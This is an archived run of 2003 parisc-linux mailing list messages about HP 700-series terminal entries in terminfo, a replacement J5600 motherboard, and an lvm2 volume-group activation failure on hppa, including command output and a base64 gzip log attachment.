<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] Terminfo/termcap for a 70096 ...</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Matthew Wilcox [<A =
HREF=3D"mailto:willy@debian.org">mailto:willy@debian.org</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: dinsdag 5 augustus 2003 15:33</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On Tue, Aug 05, 2003 at 03:04:24PM +0200, =
&quot;Beerse, Corn=E9&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Unfortunatly, while installing DebianWoody =
on a D370, I found none of them</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; in the terminfo database (and no termcap =
file). And the HP700/96 came with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; the D370. I know one thing to do after =
finalizing the install....</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Yeah, Debian doesn't have termcap, there's a =
document somewhere that</FONT>
<BR><FONT SIZE=3D2>&gt; explains why.</FONT>
</P>

<P><FONT SIZE=3D2>I don't care if they use termcap or terminfo. It =
bothers me that they have no HP700xx entry in there, not even in the =
pa-risc distribution. Specially the pa-risc distro can find a 700xx =
terminal at its console so it would be nice if the TERM boot parameter =
can be set to indicate a hp700 terminal.</FONT></P>

<P><FONT SIZE=3D2>On the other hand, I'm one of those sysadmins that =
can find its way around and I expect most installations to PA-Risc will =
be a kind of freak or hacker that can find a way. It is just a little =
uncomfortable.</FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C35B58.F6A87270--


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gavin Hubbard <ghub005@xtra.co.nz>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: mobo for J5600
Date: Wed, 6 Aug 2003 1:55:20 +1200
Lines: 23
Approved: news@gmane.org
Message-ID: <20030805135520.CDEM1764.web4-rme.xtra.co.nz@[127.0.0.1]>
Reply-To: ghub005@xtra.co.nz
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622649 28783 80.91.229.3 (22 Nov 2014 02:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:29 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 07:55:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta202-rme.xtra.co.nz (mta202-rme.xtra.co.nz [210.86.15.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9811B4880
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 07:55:23 -0600 (MDT)
Original-Received: from web4-rme.xtra.co.nz ([210.86.15.143])
          by mta202-rme.xtra.co.nz with ESMTP
          id <20030805135521.PZCC1254.mta202-rme.xtra.co.nz@web4-rme.xtra.co.nz>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 6 Aug 2003 01:55:21 +1200
Original-Received: from [127.0.0.1] by web4-rme.xtra.co.nz with SMTP
          id <20030805135520.CDEM1764.web4-rme.xtra.co.nz@[127.0.0.1]>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 6 Aug 2003 01:55:20 +1200
X-Originating-IP: [203.167.191.144]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19101

> Hi
> 
> it seems one of my scsi controllers broke down, so I need a new mobo. I
> called a local supplier (Belgium) who told it costs 2500 euro for the
> motherboard which includes also 2 processors.
> Do you have to buy this with those processors? Isn't there any other
> solution possible?
> 
> Thx guys
> Mark


You're very unlikely to find a motherboard (on its own) for sale on the secondary markets.

However 2500 euro is far too much. These days you can buy a replacement system for less than that. As an example see the following (expired) EBay auction:

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=3038140080&category=11221

Regards,

Gavin



From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Terminfo/termcap for a 70096 ...
Date: Tue, 5 Aug 2003 17:15:37 +0300
Lines: 82
Approved: news@gmane.org
Message-ID: <20030805141536.GW14491@aurinko.ntc.nokia.com>
References: <03Aug5.152448cest.119163@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622649 28784 80.91.229.3 (22 Nov 2014 02:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 08:15:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BAFF482E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Aug 2003 08:15:39 -0600 (MDT)
Original-Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.6/Switch-2.2.6) with ESMTP id h75EFcJ06377
	for <parisc-linux@lists.parisc-linux.org>; Tue, 5 Aug 2003 17:15:38 +0300 (EET DST)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T63df84191aac158f24077@esvir04nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 5 Aug 2003 17:15:38 +0300
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6139);
	 Tue, 5 Aug 2003 17:15:38 +0300
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h75EFbK21044
	for parisc-linux@lists.parisc-linux.org; Tue, 5 Aug 2003 17:15:38 +0300 (EEST)
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <03Aug5.152448cest.119163@ns.hiscom.nl>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 05 Aug 2003 14:15:38.0608 (UTC) FILETIME=[0B972700:01C35B5C]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19102

On Tue, Aug 05, 2003 at 03:04:24PM +0200, ext "Beerse, Corn" wrote:

> > From: Nahkola Mikko [mailto:mnahkola@trinms01.ntc.nokia.com]

> > I tried to ask this question in the comp.sys.hp.hpux newsgroup once but 
> > didn't get any useful answers... anyone here know better?
 
> The /etc/termcap file on a RedHat 7.3 machine does contain a bunch of HP
> terminals, including 700 series like 700 44 and 700 92. I think the latter
> one will suit your needs. There are even more. As far as I know, it all ends
> in hpterm, the hp-terminal emulator (xterm equivalent) for X11 (vue) with
> similar capabilities as the 700 series terminals.

Um. I don't have a RedHat here ... well, there's a close-enough copy that 
I could check.

Yes, the 70092 is probably close enough. Haven't run into any differences 
around here and we have a couple of those too.
 
> Unfortunatly, while installing DebianWoody on a D370, I found none of them
> in the terminfo database (and no termcap file). And the HP700/96 came with
> the D370. I know one thing to do after finalizing the install....

That'd be good to have, yes, and even better if the installer knew how to 
use it too. And I _did_ install the terminfo entry myself ... 

> > (yes, I know, this is probably specifically _not_ a problem on 
> > parisc-linux as all the parisc stuff is supposed to have a HP-UX license 
> > in the first place, for some version of HP-UX.)
> > 
> > Is it legal to copy terminfo and termcap entries (from HP-UX in this 
> > case)?
> 
> I don't think it is illegal to tune any system to use HP hardware with a
> published interface and I think the manual of the terminal clearly publishes
> the codes as used in the termcap or terminfo files.

The "User's Manual" (part no. 5959-5071) only seems to publish some of 
them, not all. It certainly doesn't say what the thing _transmits_ 
as control characters, and such ...

I haven't seen the "Reference Manual" anywhere. (5959-5072) That'd be the 
one to find, probably.

The c1099a User's Manual isn't any more help either.

> > The problem is that HP-UX is pretty much the only thing that comes with a 
> > terminfo entry for a 70096, and we have a bunch of those that  could be 
> > useful on other systems too ... except that the scrollback doesn't work 
> > in the emulation modes. 

> Some settings of $TERM that come to mind include 'hpterm', 'hp700',
> 'hp70092'. I recal I've used them between HP-UX and Solaris machines, hence
> Solaris also might have suitable termcap or terminfo entries.

I don't think I've managed to find them.

At least it doesn't get right by default on the things that I've tried. 
Not sure which ones I've tried them on, Sun, DEC/Compaq, IBM, whatever 
... at least everything seems to default to VT100 if they can't figure 
out what it is. Even HP-UX, occasionally.

> > Oh, and about the cursor keys on the 70096, if I were to put 
> > them in the 
> > "application" mode, would that help with bash et al.? They seem to be 
> > working in swinstall and such on HP-UX ... but the default 
> > mode seems to 
> > be non-transmitting, right? (yes, I could use that too myself, and 

> don't know, just put the terminal in em220 (vt220 emulation) mode to install
> debian.

I did. 

But it might be better if the Debian installer could be made to handle 
the native mode too.


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:28:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] lvm2 pb on hppa-linux
Date: Tue, 5 Aug 2003 17:57:10 +0200
Lines: 360
Approved: news@gmane.org
Message-ID: <3F2E2C77000006C7__2238.2807139822$1416622649$gmane$org@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="========/3F2E2C77000006C7/mail.tiscali.be"
X-Trace: ger.gmane.org 1416622649 28788 80.91.229.3 (22 Nov 2014 02:17:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: linux-lvm@sistina.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  5 09:58:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B7F4482E
	for <parisc-linux@parisc-linux.org>; Tue,  5 Aug 2003 09:57:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19k494-0008KX-00; Tue, 05 Aug 2003 17:54:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 5 Aug 2003 17:57:10 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19103

--========/3F2E2C77000006C7/mail.tiscali.be
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

Since the announce of lvm2 I used succefuly lvm tools (also with evms tools
before 1.9 ie evms-1.2.1) on my linux hppa box runing a last updated linux-2.4.21-pa8
(+ a very small hack to use generic_ffs()).

Now I try to install lvm2 and dm1.

I so recover last lvm-1.0.7. I configure it and build PATCHES which I apply
against kernel (without VFS-lock). Then I reboot it and install tools:
_no pb_ :-)

# vgdisplay --version
vgdisplay: Logical Volume Manager 1.0.7
Heinz Mauelshagen
 Sistina Software  28/03/2003 (IOP 10)

# vgdisplay -v
--- Volume group ---
VG Name               EvmsLvm
VG Access             read/write
VG Status             available/resizable
VG #                  0
MAX LV                256
Cur LV      
         2
Open LV               0
MAX LV Size           255.99 GB
Max PV                256
Cur PV                1
Act PV                1
VG Size               3.99 GB
PE Size               4 MB
Total PE              1022
Alloc PE / Size   
   896 / 3.50 GB
Free  PE / Size       126 / 504 MB
VG UUID               k7px10-qfN2-J3y0-fony-aczD-HLwn-ZnN9G3

--- Logical volume ---
LV Name                /dev/EvmsLvm/DebianRep
VG Name                EvmsLvm
LV Write Access        read/wri
e
LV Status              available
LV #                   1
# open                 0
LV Size                3 GB
Current LE             768
Allocated LE           768
Allocation             next free
Read ahead sectors     120
Block device    
      58:1

--- Logical volume ---
LV Name                /dev/EvmsLvm/JfsTst
VG Name                EvmsLvm
LV Write Access        read/write
LV Status              available
LV #                   2
# open                 0
LV Size          
     512 MB
Current LE             128
Allocated LE           128
Allocation             next free
Read ahead sectors     120
Block device           58:2


--- Physical volumes ---
PV Name (#)           /dev/sdc (1)
PV Status             avai
able / allocatable
Total PE / Free PE    1022 / 126

_no pb_ to mount and use usually the first lv (/dev/EvmsLvm/DebianRep)

#df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/md2               1700208   1086488    52735
  68% /
/dev/md0                123891     58924     58571  51% /boot
/dev/md3                247791    132508    102490  57% /var
/dev/md4                123827      4118    113316   4% /tmp
/dev/md5                123827     10339    107095   9% 
home
/dev/md6               2015696   1200328    794892  61% /usr/src
/dev/md7               2015696   1927752     67468  97% /Sources
/dev/md8               2015696   1612664    382556  81% /Develop
/dev/EvmsLvm/DebianRep
                       3096336   2926848    138032  96% /Debian

I so go further and patch kernel with dm/patches/devicemapper-ioctl.patch
(no VFS-lock) rebuild it wihtout any pb or warning (about dm part :-)) ).
I so install dmsetup tool and reboot with this kernel sucessfully (no pb
to discover vg and lv as lvm1 tools are still installed)

The dmsetup create well special file:
# ll /dev/mapper
total 28
drwxr-xr-x    2 root     root         4096 Aug  5 17:52 .
drwxr-xr-x    9 root     root        24576 Aug  5 16:04 ..
crw-------    1 root     root      10,  63 Aug  5 17:52 control

:-)

To be care I "vgchange -a n", than compile and install lvm2 tools.
Then I just edit lvm.conf file so that filter only sd disc
filter = [ "a|^/dev/sd|, "r/.*/" ]
[...]
file = /var/log/lvm2.log

level=7

activation=1 # in log section

Unfortunately _vgchange_ failled to recover vg structure:

#vgscan --version
  LVM version:     2.00.05 (2003-07-18)
  Library version: 1.00.02-ioctl (2003-07-12)
  Driver version
  4.0.1

#vgscan
  Volume group "EvmsLvm" not found
    Wiping cache of LVM-capable devices
    Wiping internal cache
  Reading all physical volumes.  This may take a while...
    Finding all volume groups
    Finding volume group "EvmsLvm"

Very strange: it first tell 'Volume group "EvmsLvm" not found' and finaly
'Finding volume group "EvmsLvm"' ?

Vgchange will it tell the true?
#vgchange -a y

too bad:
  Out of memory.  Requested 2483027988 bytes.
  Failed to read extents from /dev/sdc
  Unable to find volume group "EvmsLvm"

Any idea?

(As I use full log I join a gz of this lvm2.log)

Thanks in advance for help,
    Joel

PS: I do a similar exercise on my ia32 platform (same linux-2.4.21 not pa
specific naturaly) and do not met any pb.
There is anyway a small difference:
on the ia32 I build a vg over a disk slice; on hppa, allover a full disk
(i don't think that it does matter, but just in case?)





------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 



--========/3F2E2C77000006C7/mail.tiscali.be
Content-Type: application/x-gzip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="lvm2.log.gz"

H4sICC3ALz8AA2x2bTIubG9nAO2dW7fiOJat3+NXePRT90MEmDsxzjhjZGVVPvTJrO7KzMp+jCHZ
BpwBGCwb2Pz6lswmYgcQRvtbGDJP1Etc9vaUl6Q5ly5e0oqy5SSdtqLqr3fR++FwFATBL0lRpMtp
MM+mLRUV6UYVabYMiiwI30TZYqGWsWkVWTa3uCLZFRYYdjoW+GM2nTpgukyLVM1Tk8SBKoJfyyT4
rpwGQT8IB+/7vfe9XtBpt7tv3kS175/OM63mrXKhzEf39kH3q6/vhQdc8Onhdns4PC9/0HlRfpxs
0igxrTjNHaJl/38F8WzRKs+iCuH+4VeJ83Y8AY26FvT8sCknk3QXLLMimGTlMrYNGhyefG+Nnqhy
XhV9uaDB6HNBpe0I41PO7E2eTJNda6GKaJbktpxO35Xz0+H/gS7TeRFs02IWhOMgnqjAFKpIjGcL
R8qWUrVYUkSt+WbRelf96ErbHeHbPC2SDxXiQ/Xer1T9C/DnFm/liUnyTRI7cFSxo9MfAPgiWWT5
k8OPwnHHvwBHk8SYD6s8zWxVqhLehqP6vptkue0Nn86z7XnNGG3rXa5sTQqVLj/E6sk4YLf9Ktgi
PZD3AuqLXn9GqTyapZvkw1Fex65//rlfIYe/zso4/NhPevMs+mj/+6F4Wn2NOJdEfoQdX71RefUz
9/43z788PmTLGI9tET+k8+StVs7vPf8mSJZKz5P43ZvN1ERqaZ/sO6X/T7pyvz0II5sEP/7209tI
rdyzR9q/Ofzt3NLb6jnn6MZ9C3Y/av1tszA/2qb4a6JTtfw5Wb0Pvotj+2Zr7AF5KN2zmP+cmF9N
8Yoyup3wtIxpnpXWjL9byqpAuxZ4LuUK/qfv/t/f/vq33wBSTVdTlRcEWaR6QXBlnGYUF1JghwK7
FBgVc1/oCzZFcZ4tXkXEzhfQtsXO00pAzyPy4efO+b2CkFbZJpsnoO5RlhNYbAjvLYowwsIIHyzM
mw0vujSx4m5Vz384PMj8TFWMc9038ltn5b3agZ0WZmIVCuFtIV74/o4M3pXB+zL4QAYfyuAjGXws
gmtZv2sh77SQd1rGOy3jnZbxTst4p2W80zLe6dfw7sVQMNFtMIBYlCqLLE6KJCJTLouPyjxPlgxM
hkqLEpocSkwmw7RFCU3uSEwmE0aLEprclZjcYyihyT2JyX2GEprcl5g8YCihyQOJyUOGEpo8FJgc
t5BjjlvIOcYt5KDiFnIScctfqOFLmBWL2/ULJiqdJ7ErIzBlNAsm9r9Blgdxmtu+yvKnK4PmJIbz
JAv8Plus1D8wPO4O+LtnYactQfd6IvQQzpAO6HFPgB5I6i1q8h6dU1fgjgA8lIBHIw4uw7aAKGUY
CgwvRSQtRUSxaFGrDTtw/XNA9+Dy54AWcLwMR6I2H0v6uyNialfiEMtuX2K5xK2UXVGTS1xDOZI0
2Uj05i4Gw40JC5QN2KFkwA5FA3YoGrBD0YAdigbsUDRgh5IBO5QM2KFkwA4lA3YoGbBD0YAdigbs
UDRgh6IBOxQN2KFowA5FA3YoGrBD0YAdigbsUDRgh6IBOxQN2KFkwA5FA3YoGbBDyYAdSgbs8JUD
9ss1fqFW5PPppJx7f21+AZuuFq/4TP0lMFaFAl9DZzH8/mmBcDLjkLAzHVTwVugmHRT6SAeF8w8H
hZ+CHBTOmRwUfgJyUPj5x0HhJ0cL5d1KnYqFckJwPnA6cDZwMnAuYCpMMBB7lQn3ZRPuyybcl024
L5twXzbhvmzCfdmE+7IJ92UT7ssmvFu5L5twQnA+cDpwNnAycC5gKkwxEHuVKfdlU+7LptyXTbkv
m3JfNuW+bMp92ZT7sin3ZVPuy6a8W7kvm3JCcD5wOnA2cDJwLmAqzDAQe5UZ92Uz7stm3JfNuC+b
cV82475sxn3ZjPuyGfdlM+7LZrxbuS+bcUJwPnA6cDZwMnAuwEhTdxSUHSVxyDymb11leYHO91ho
WbSSTbIsSCjWCzgJyXoBJ6FZL+AkROsA/93wiv9ueK1/N7zKvxte30UakT3rZ3BWmoS3VwXnTVbB
eatVcNJwvyNpfVwkBDbPpgz1igN+L/zOPMtWcAhyUDgVclA4ZjooHPkcFA59DgrHPgeFg5+Dvmb0
e0mIFZHpHJ3Qm6MDevMNkcdCrVZJ7o48FnlGBtoFDYtd0PAcC+Sv5O+E+rJIKC+LhOqySCiuRYyr
iWuJK4nrCN3HIoZT50UMZ86LGE6c2Vi5SOOUuLkKh4HERVZA4iUrIJm0OCC1lBrK7NwlOcWxClog
q6EFoiq6iSfBrcpeO3xN6MYZ2J0kAeAlDW1ZridoIelwpDMdjvSlw5GuXOZqS6t4gKJaHqCoogco
qqth9bQwQliHI9FNDkcGD4tDfWFhsHohrF6IqseCzJZ7Su89JfeeUnsPib1SOamhhZH6WRipndvS
I7AVuZpllafLAg3DK6PKHcEVCwYz6MzoqnhSFIc63eJQr1scorTFkYPhDkdOZzscOSLtcOScssON
IG4MccTLO5yGuAjiYogj8zuHmzAcuoTD4aD+0HUUDgf1hy5mcDioP3RFgcNB/WmoPw31p6H+NNSf
hvrTUH8a6k9D/UVQfxHUXwT1F0H9RVB/EdRfBPUXQf1FUH8R1F8E9RdB/UVQfxHUH/oM6nBQfzHU
Xwz1F0P9xVB/MdRfDPUXQ/3FUH8x1F8M9RdD/cVQfzHUXwz1F0P9xVB/KG7B4aD+UKSCw0H9JVB/
CdRfAvWXQP0lUH8J1F8C9ZdA/SVQfwnUXwL1l0D9oYAEh4P6Q0EJDgf1t4L6W0H9raD+VlB/K6i/
FdTfCupvBfW3gvpbQf2h72sOB/W3hvpbQ/2tof7WUH9rqL811N8a6m8N9beG+ltD/a2h/tZQf2uo
vzXU3xrqbw31x745WRzUH/vqZHFQfznUXw71l0P95VB/OdRfDvWXQ/3lUH851F8O9YcyTzgc1B+K
83c4qD8U3+9wUH8G6s9A/RmoPwP1Z6D+DNSfgfozUH8G6s9A/aGQNIeD+kNRJQ4H9YdiShwO6q+A
+iug/gqovwLqr4D6K6D+UNSjw0H9FVB/BdRfAfVXQP2VUH8l1F8J9VdC/ZVQfyXUXwn1V0L9lVB/
JdRfCfVXQv2VUH8l1F8J9VdC/W2g/jZQfxuovw3U3wbqbwP1t4H620D9baD+NlB/G6i/DdTfBupv
A/W3gfrbQP1tof62UH9bqL8t1N8W6m8L9beF+ttC/W2h/rZQf1uovy3U3xbqbwv1t4X620L97aD+
dlB/O6i/HdTfDupvB/W3g/rbQf3toP52UH87qL8d1N8O6m8H9beD+ttB/T1B/T1B/T1B/T1B/T1B
/T1B/T1B/T1B/T1B/T1B/T1B/T1B/T1B/T1B/T1B/T1B/e2h/vZQf3uovz3U3x7qbw/1t4f620P9
7aH+9lB/e6i/PdTfHupvD/W3h/rbE/3BQ63wSCs80Pqa46wvLt3I1YLd1mGBr7uYpvMC6S6mmafK
HLDHnwbp8pUW0LtxHBRejuOg8NoYB4UXxzgovDrGQeHlMQ4Kr4+xUN5KvJF4G/Em4i0Eb9ixSHjF
jkXCO3ZytYwzcpUAv/OCX3nBb7zgF17k9D6hnF62k9PbdnJ63U7u/5nzhb83UXVr2om/j+I8e63H
tyVBr+2QcKxwUMFboRd0UOgGHRT6QQeFjtBBoSe0UN5KvJF4G/Em4i0ExwqLhGOFRcI7rY07fQaB
VGkWSfVtoYK3UuZaKKWuhVLuWiglb6x4VXlNeUV5PalIY0VFGisq0lhhkWoMxHLRXKSai1RzkWou
Us1FqrlINa8qrymvKK8nFqnGItVYpBqLNMJALJeIizTiIo24SCMu0oiLNOIijXhVeU15RXk9sUgj
LNIIizTCIn1N6o0vgVgufDkb8+VszJezMV/Oxnw5G/PlbIzXpDFek8Z4TRrjNWmM16QxXpPGeE0a
8zUpTEZtcDJqw5NRG56M2vBk1IYnozY8GbXhyagNTtBscJZlg7MsG5xl2eAsywZnWTY4y7LBWZYN
zbJscJZlw7MsG55l2fAsy4ZnWTY8y7LhWZYNzjxscPpgg9MHG5w+2OD0wQanDzY4fbDB
6YMNTR9scPpgw9MHG54+2PD0wYanDzY8fbDh6YMNTqlrcF5cg/PiGpwX1yKxSGleXIPz4hqcF9fQ
vLgG58U1PC+u4XlxDc+La3heXMPz4hqeF9fgXLEGJ3w1OOGrwQlfDU74anDCV4MTvhqc8NUk6zJZ
Rih1gpmSWBMzJYEmphp9CQy+jQS1mGrEJTASemyqkZbASOCxmbIWYQ3C2oM1B2sNEoRtpiQE20xJ
ALZZrAp0Y2wFRKJxQEQSB0Q8WcavyQ/2Mh4sl4WDvSjoQhyxi0M6LSf491WeTJI8t88t1SL5j+sF
XzCxiiG7QdFfMfoWVncuF925QdHdy0V3b1B073LRvRsU3b9cdP8GRQ8uFz2QF325F2/QiZf78AZd
eLkHb9CBl/vvBt13ufdu0HnDiwUP5QWPLhY8khc8vljwGBX8coBAQd8w/x9M/wez/7HkfzD3H0z9
BzP/mSK2XcyA6ZLhspIkqyuKJ4YitLQw0uUORl9H30dmgQ5HJoEOR5YLDkcWDA5HlgwORxYNDkeW
DQ5HFg4WB7uvA2nWgTTrUDshzTqQZh1Isw6kWQfSrANp1oE0g93QhTTrQpp1Ic26tH6QZl1Isy6k
WRfSrAtp1oU0g83ZgzTrQZr1IM16kGY92i6QZj1Isx6kWQ/SrAdpBpulD2nWhzTrQ5r1Ic36kGZ9
2p6QZn1Isz6kWR/SDFZvAGk2gDQbQJoNIM1g78HOg3333fc/wW6wSNgRDil4qeCtkAEOCkngoNDd
OCj0OBbKq8pryivK6wmdj0VCfVoklKhFQpX+AuXyC9TKL5A9v0Du/POXv8AaWiSso0MKXip4K2xc
B+XtS72Qg0J1WiivKq8pryivJ/RCFgm9kEVCL2SR0AspKBcFtaIgexTkjoLMUZA3CrJGQc4oyBhF
+UK+6zgcuW3P4chtew5HbttzOHLbnsOR2/YsTkP9aag/DfWnof401J+G+tNQfxrqT0P9aag/DfWn
of401J+G+tNQfxrqL4L6i6D+Iqi/COovgvqLoP4iqL8I6i+C+oug/iKovwjqL4L6i6D+Iqi/COov
hvqLof5iqL8Y6i+G+ouh/mKovxjqL4b6i6H+Yqi/GOovhvqLof5iqL8Y6g/Fbjsc1B+K3HY4qL8E
6i+B+kug/hKovwTqL4H6S6D+Eqi/BOovgfpLoP4SqL8V1N8K6m8F9beC+ltB/a2g/lZQfyuovxXU
3wrqbwX1t4L6W0H9raD+VlB/K6i/NdTfGupvDfW3hvpbQ/2tof7WUH9rqL811N8a6m8N9beG+ltD
/a2h/tZQf2uovxzqL4f6y6H+cqi/HOovh/rLof5yqL8c6i+H+suh/nKovxzqL4f6y6H+cqg/A/Vn
oP4M1J+B+jNQfwbqz0D9Gag/A/VnoP4M1J+B+jNQfwbqz0D9Gag/dHLQ4aD+UKoYh4P6K6D+Cqi/
AuqvgPoroP4KqL8C6q+A+vNPg3OCg/oroP4KqL8S6q+E+iuh/kqovxLqr4T6K6H+Sqi/EuqvhPor
of5KqL8S6q+E+iuh/kqovw3U3wbqbwP1t4H620D9baD+NlB/G6i/DdTfBupvA/W3gfrbQP1toP42
UH8bqL8t1N8W6m8L9beF+ttC/W2h/rZQf1uovy3U3xbqbwv1t4X620L9baH+tlB/W6i/HdTfDupv
B/W3g/rbQf3toP52UH87qL8d1N8O6m8H9beD+ttB/e2g/nZQfzuoP3pFDr0jh156Qm+xoNcS0HPm
